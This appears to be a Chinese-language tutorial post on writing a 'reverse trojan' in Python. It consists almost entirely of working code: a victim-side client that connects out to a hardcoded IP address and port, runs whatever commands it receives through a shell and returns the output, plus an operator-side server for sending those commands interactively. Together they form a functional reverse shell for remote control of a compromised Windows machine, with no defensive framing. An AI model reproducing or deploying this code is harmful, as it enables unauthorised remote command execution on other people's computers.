python编写反向木马
命令执行是通过 subprocess 模块实现、window下可以正常执行不会出现乱码
- 被控端代码:
import socket
import subprocess
import time
def run_command(command): # 命令执行函数
command = command.rstrip() # 返回删除 string 字符串末尾的指定字符后生成的新字符串 默认为空格
try: # stdout=subprocess.PIPE,stderr=subprocess.PIPE 标准输出和错误句柄,后面可以指定编码gbk才不会乱码
child = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, encoding="gbk")
except:
child = '执行失败!!'
return child
client = socket.socket()
client.connect(('18.201.16.54', 1234))
message = 'welcome'
client.send(message.encode(encoding='gbk'))
while True:
# 接收控制端发来的命令
data = client.recv(2048).decode(encoding='gbk') # 字节不能太小 不然会重复发 出现粘包
output = run_command(data) # 执行命令
client.send(data.encode(encoding='gbk'))
client.send(output.stdout.encode(encoding='gbk')) # 发送结果给客户端
client.send(output.stderr.encode(encoding='gbk'))
client.close()
2.控制端代码:
import socketserver
import time
# 开放端口等待连接
# 创建一个请求处理类,这个类要继承socketserver模块下BaseRequestHandler类并重写handle()方法
# 首先执行setup 方法 再只想 handle方法 最后执行final()方法
class MyTCPHandler(socketserver.BaseRequestHandler):
def handle(self): # handle方法默认结束后断开链接 继续监听
try:
while True:
# 给被控制端发送命令
message = input('end quit!!>>>>').strip() # strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
if len(message) == 0:
continue
if message == 'end':
break
if not self.data:
print('connection lost')
break
# 发送结果到客户端
self.request.sendall(message.encode(encoding='gbk'))
# time.sleep(1)
# 获取命令执行结果
self.data = self.request.recv(2048).decode(encoding='gbk')
print(self.data)
except Exception as e:
print(self.client_address, '连接断开') # self.client_address是元祖类型,凭借字符串要加','号
finally:
self.request.close()
def setup(self): #
print(self.client_address, "连接建立:")
self.data = self.request.recv(1024).decode(encoding='gbk')
print(self.data)
def finish(self):
print("finish run")
if __name__ == "__main__":
# 使用IP地址、端口 和我们创建的类 实例化 TCPServer
server = socketserver.TCPServer(("18.201.16.54", 1234), MyTCPHandler)
server.serve_forever()